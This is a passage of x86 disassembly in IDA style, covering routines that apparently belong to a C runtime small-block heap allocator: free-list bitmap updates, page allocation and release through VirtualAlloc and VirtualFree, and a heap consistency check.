[ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41DAF0 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41DAF0: ; CODE XREF: sub_41D9D0+106j jmp short loc_41DB5D ; --------------------------------------------------------------------------- loc_41DAF2: ; CODE XREF: sub_41D9D0+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41DB5D mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41DB5D: ; CODE XREF: sub_41D9D0+B7j ; sub_41D9D0:loc_41DAF0j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_41DCD7 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_41DBB3 mov [ebp+var_20], 3Fh loc_41DBB3: ; CODE XREF: sub_41D9D0+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41DCC3 cmp [ebp+var_20], 20h jnb short loc_41DC5C mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_41DC3A mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41DC3A: ; CODE XREF: sub_41D9D0+252j mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_41DCC3 ; --------------------------------------------------------------------------- loc_41DC5C: ; CODE XREF: sub_41D9D0+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_41DC9A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41DC9A: ; CODE XREF: sub_41D9D0+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_41DCC3: ; CODE XREF: sub_41D9D0+225j ; sub_41D9D0+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_41DCD7: ; CODE XREF: sub_41D9D0+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DCF6: ; CODE XREF: sub_41D9D0+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_41DFB2 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_41DD47 mov [ebp+var_24], 3Fh loc_41DD47: ; CODE XREF: sub_41D9D0+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_41DE90 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_41DD6E mov [ebp+var_20], 3Fh loc_41DD6E: ; CODE XREF: sub_41D9D0+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41DE50 cmp [ebp+var_20], 20h jnb short loc_41DDE5 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41DDE3 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41DDE3: ; CODE XREF: sub_41D9D0+3F9j jmp short loc_41DE50 ; --------------------------------------------------------------------------- loc_41DDE5: ; CODE XREF: sub_41D9D0+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41DE50 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41DE50: ; CODE XREF: sub_41D9D0+3AAj ; sub_41D9D0:loc_41DDE3j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_41DE90 mov [ebp+var_24], 3Fh loc_41DE90: ; CODE XREF: sub_41D9D0+37Fj ; sub_41D9D0+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41DF9E cmp [ebp+var_24], 20h jnb short loc_41DF38 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_41DF16 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_41DF16: ; CODE XREF: sub_41D9D0+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_41DF9E ; --------------------------------------------------------------------------- loc_41DF38: ; CODE XREF: sub_41D9D0+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_41DF75 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41DF75: ; CODE XREF: sub_41D9D0+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_41DF9E: ; CODE XREF: sub_41D9D0+502j ; sub_41D9D0+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_41DFB2: ; CODE XREF: sub_41D9D0+321j ; sub_41D9D0+32Cj mov eax, 1 loc_41DFB7: ; CODE XREF: sub_41D9D0+8Dj mov esp, ebp pop ebp retn sub_41D9D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DE660, 0 jz loc_41E0EC mov eax, dword_4DE654 shl eax, 0Fh mov ecx, dword_4DE660 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax call dword_4E0484 ; VirtualFree mov edx, 80000000h mov ecx, dword_4DE654 shr edx, cl mov eax, dword_4DE660 mov ecx, [eax+8] or ecx, edx mov edx, dword_4DE660 mov [edx+8], ecx mov eax, dword_4DE660 mov ecx, [eax+10h] mov edx, dword_4DE654 mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4DE660 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4DE660 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4DE660 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_41E072 mov edx, dword_4DE660 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4DE660 mov [ecx+4], eax loc_41E072: ; CODE XREF: .data:0041E05Cj mov edx, dword_4DE660 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_41E0E2 cmp dword_4DE664, 1 jle short loc_41E0E2 mov eax, dword_4DE660 mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4DE648 push edx call dword_4E0480 ; RtlFreeHeap mov eax, dword_4DE664 imul eax, 14h mov ecx, dword_4DE668 add ecx, eax mov edx, dword_4DE660 add edx, 14h sub ecx, edx push ecx mov eax, dword_4DE660 add eax, 14h push eax mov ecx, dword_4DE660 push ecx call sub_419A90 add esp, 0Ch mov edx, dword_4DE664 sub edx, 1 mov dword_4DE664, edx loc_41E0E2: ; CODE XREF: .data:0041E07Cj ; .data:0041E085j mov dword_4DE660, 0 loc_41E0EC: ; CODE XREF: .data:0041DFCBj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E0F0 proc near ; CODE XREF: sub_41C820+44p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, dword_4DE664 imul eax, 14h push eax mov ecx, dword_4DE668 push ecx call dword_4E0440 ; IsBadWritePtr test eax, eax jz short loc_41E11B or eax, 0FFFFFFFFh jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E11B: ; CODE XREF: sub_41E0F0+21j mov edx, dword_4DE668 mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_41E142 ; --------------------------------------------------------------------------- loc_41E133: ; CODE XREF: sub_41E0F0+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_41E142: ; CODE XREF: sub_41E0F0+41j mov ecx, [ebp+var_120] cmp ecx, dword_4DE664 jge loc_41E707 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call dword_4E0440 ; IsBadWritePtr test eax, eax jz short loc_41E183 mov eax, 0FFFFFFFEh jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E183: ; CODE XREF: sub_41E0F0+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_41E1D3 ; --------------------------------------------------------------------------- loc_41E1CA: ; CODE XREF: sub_41E0F0+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41E1D3: ; CODE XREF: sub_41E0F0+D8j cmp [ebp+var_C], 20h jge loc_41E6CB mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_41E216 ; --------------------------------------------------------------------------- loc_41E207: ; CODE XREF: sub_41E0F0+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_41E216: ; CODE XREF: sub_41E0F0+115j cmp [ebp+var_14C], 40h jge short loc_41E232 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_41E207 ; --------------------------------------------------------------------------- loc_41E232: ; CODE XREF: sub_41E0F0+12Dj cmp [ebp+var_4], 0 jl loc_41E66D push 8000h mov ecx, [ebp+var_128] push ecx call dword_4E0440 ; IsBadWritePtr test eax, eax jz short loc_41E25C mov eax, 0FFFFFFFCh jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E25C: ; CODE XREF: sub_41E0F0+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_41E280 ; --------------------------------------------------------------------------- loc_41E271: ; CODE XREF: sub_41E0F0+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_41E280: ; CODE XREF: sub_41E0F0+17Fj cmp [ebp+var_140], 8 jge loc_41E404 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_41E2C2 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41E2CC loc_41E2C2: ; CODE XREF: sub_41E0F0+1C5j mov eax, 0FFFFFFFBh jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E2CC: ; CODE XREF: sub_41E0F0+1D0j ; sub_41E0F0+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_41E329 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_41E318 mov eax, 0FFFFFFFAh jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E318: ; CODE XREF: sub_41E0F0+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_41E36B ; --------------------------------------------------------------------------- loc_41E329: ; CODE XREF: sub_41E0F0+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_41E34E mov [ebp+var_14C], 3Fh loc_41E34E: ; CODE XREF: sub_41E0F0+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_41E36B: ; CODE XREF: sub_41E0F0+237j cmp [ebp+var_148], 10h jl short loc_41E38D mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_41E38D cmp [ebp+var_148], 0FF0h jle short loc_41E397 loc_41E38D: ; CODE XREF: sub_41E0F0+282j ; sub_41E0F0+28Fj mov eax, 0FFFFFFF9h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E397: ; CODE XREF: sub_41E0F0+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_41E3B8 mov eax, 0FFFFFFF8h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E3B8: ; CODE XREF: sub_41E0F0+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_41E2CC mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_41E3F4 mov eax, 0FFFFFFF8h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E3F4: ; CODE XREF: sub_41E0F0+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_41E271 ; --------------------------------------------------------------------------- loc_41E404: ; CODE XREF: sub_41E0F0+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_41E41B mov eax, 0FFFFFFF7h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E41B: ; CODE XREF: sub_41E0F0+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_41E436 ; --------------------------------------------------------------------------- loc_41E42D: ; CODE XREF: sub_41E0F0+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_41E436: ; CODE XREF: sub_41E0F0+33Bj cmp [ebp+var_14], 40h jge loc_41E66D mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_41E456: ; CODE XREF: sub_41E0F0+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_41E59A mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_41E59A mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_41E4AE mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_41E4B8 loc_41E4AE: ; CODE XREF: sub_41E0F0+3A9j mov eax, 0FFFFFFF6h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E4B8: ; CODE XREF: sub_41E0F0+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_41E4E4: ; CODE XREF: sub_41E0F0+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_41E50E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_41E4FC jmp short loc_41E50E ; --------------------------------------------------------------------------- loc_41E4FC: ; CODE XREF: sub_41E0F0+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_41E4E4 ; --------------------------------------------------------------------------- loc_41E50E: ; CODE XREF: sub_41E0F0+3FDj ; sub_41E0F0+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_41E523 mov eax, 0FFFFFFF5h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E523: ; CODE XREF: sub_41E0F0+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_41E54A mov [ebp+var_14C], 3Fh loc_41E54A: ; CODE XREF: sub_41E0F0+44Ej mov eax, [ebp+var_14C] cmp eax, [ebp+var_14] jz short loc_41E55F mov eax, 0FFFFFFF4h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E55F: ; CODE XREF: sub_41E0F0+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_41E57A mov eax, 0FFFFFFF3h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E57A: ; CODE XREF: sub_41E0F0+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_41E456 ; --------------------------------------------------------------------------- loc_41E59A: ; CODE XREF: sub_41E0F0+381j ; sub_41E0F0+397j cmp [ebp+var_168], 0 jz short loc_41E611 cmp [ebp+var_14], 20h jge short loc_41E5DB mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_41E611 ; --------------------------------------------------------------------------- loc_41E5DB: ; CODE XREF: sub_41E0F0+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_41E611: ; CODE XREF: sub_41E0F0+4B1j ; sub_41E0F0+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_41E634 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_41E63E loc_41E634: ; CODE XREF: sub_41E0F0+530j mov eax, 0FFFFFFF2h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E63E: ; CODE XREF: sub_41E0F0+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_41E659 mov eax, 0FFFFFFF1h jmp loc_41E709 ; --------------------------------------------------------------------------- loc_41E659: ; CODE XREF: sub_41E0F0+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_41E42D ; --------------------------------------------------------------------------- loc_41E66D: ; CODE XREF: sub_41E0F0+146j ; sub_41E0F0+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_41E69A mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_41E6A1 loc_41E69A: ; CODE XREF: sub_41E0F0+590j mov eax, 0FFFFFFF0h jmp short loc_41E709 ; --------------------------------------------------------------------------- loc_41E6A1: ; CODE XREF: sub_41E0F0+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_41E1CA ; --------------------------------------------------------------------------- loc_41E6CB: ; CODE XREF: sub_41E0F0+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_41E6EC mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_41E6F3 loc_41E6EC: ; CODE XREF: sub_41E0F0+5E9j mov eax, 0FFFFFFEFh jmp short loc_41E709 ; --------------------------------------------------------------------------- loc_41E6F3: ; CODE XREF: sub_41E0F0+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_41E133 ; --------------------------------------------------------------------------- loc_41E707: ; CODE XREF: sub_41E0F0+5Ej xor eax, eax loc_41E709: ; CODE XREF: sub_41E0F0+26j ; sub_41E0F0+8Ej ... mov esp, ebp pop ebp retn sub_41E0F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, dword_44726C pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] add eax, 0Fh and al, 0F0h mov [ebp+8], eax cmp dword ptr [ebp+8], 780h ja short loc_41E747 mov ecx, [ebp+8] mov dword_44726C, ecx mov eax, 1 jmp short loc_41E749 ; --------------------------------------------------------------------------- loc_41E747: ; CODE XREF: .data:0041E735j xor eax, eax loc_41E749: ; CODE XREF: .data:0041E745j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E750 proc near ; CODE XREF: .data:0041CA51p ; sub_41EC10+34Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch cmp dword_445258, 0FFFFFFFFh jnz short loc_41E768 mov [ebp+var_C], offset off_445248 jmp short loc_41E78B ; --------------------------------------------------------------------------- loc_41E768: ; CODE XREF: sub_41E750+Dj push 2020h push 0 mov eax, dword_4DE648 push eax call dword_4E0478 ; RtlAllocateHeap mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_41E78B xor eax, eax jmp loc_41E92A ; --------------------------------------------------------------------------- loc_41E78B: ; CODE XREF: sub_41E750+16j ; sub_41E750+32j push 4 push 2000h push 400000h push 0 call dword_4E0488 ; VirtualAlloc mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_41E90C push 4 push 1000h push 10000h mov ecx, [ebp+var_4] push ecx call dword_4E0488 ; VirtualAlloc test eax, eax jz loc_41E8FB cmp [ebp+var_C], offset off_445248 jnz short loc_41E7FB cmp off_445248, 0 jnz short loc_41E7E6 mov off_445248, offset off_445248 loc_41E7E6: ; CODE XREF: sub_41E750+8Aj cmp off_44524C, 0 jnz short loc_41E7F9 mov off_44524C, offset off_445248 loc_41E7F9: ; CODE XREF: sub_41E750+9Dj jmp short loc_41E824 ; --------------------------------------------------------------------------- loc_41E7FB: ; CODE XREF: sub_41E750+81j mov edx, [ebp+var_C] mov dword ptr [edx], offset off_445248 mov eax, [ebp+var_C] mov ecx, off_44524C mov [eax+4], ecx mov edx, [ebp+var_C] mov off_44524C, edx mov eax, [ebp+var_C] mov ecx, [eax+4] mov edx, [ebp+var_C] mov [ecx], edx loc_41E824: ; CODE XREF: sub_41E750:loc_41E7F9j mov eax, [ebp+var_C] mov ecx, 